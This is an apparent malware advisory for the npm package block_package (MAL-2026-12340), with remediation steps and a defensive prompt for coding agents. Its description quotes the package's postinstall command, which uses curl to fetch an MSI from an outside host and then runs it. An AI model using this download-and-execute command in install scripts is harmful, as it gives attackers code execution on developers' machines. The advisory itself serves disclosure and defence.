# MAL-2026-12340: Malicious code in block_package (npm)


- **Type:** Malicious package
- **Package:** `block_package` (npm)
- **Published:** 5 Aug 2026

## What is MAL-2026-12340?

MAL-2026-12340 is a malicious package in block_package, published on 5 Aug 2026. 

### Official description

scripts/postinstall.js runs automatically during `npm install` and uses execSync to invoke `curl -O http://renes.sg/npm_block_package.msi & start npm_block_package.msi`, fetching an MSI installer from a non-publisher host over unauthenticated plain HTTP and immediately launching it on the installer's machine. The fetch is unpinned, unverified (no hash or signature check), and delivered over a channel trivially subject to tampering. The MSI is executed as the installer user, giving whoever controls renes.sg (or any on-path attacker) arbitrary code execution on every machine that installs this package.

## What should I do about MAL-2026-12340?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-12340 is a malicious package: block_package (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-12340/ (Markdown: https://insights.sbomify.com/MAL-2026-12340/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-12340

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-12340/
Summaries are generated and may contain mistakes; the official description above is the record.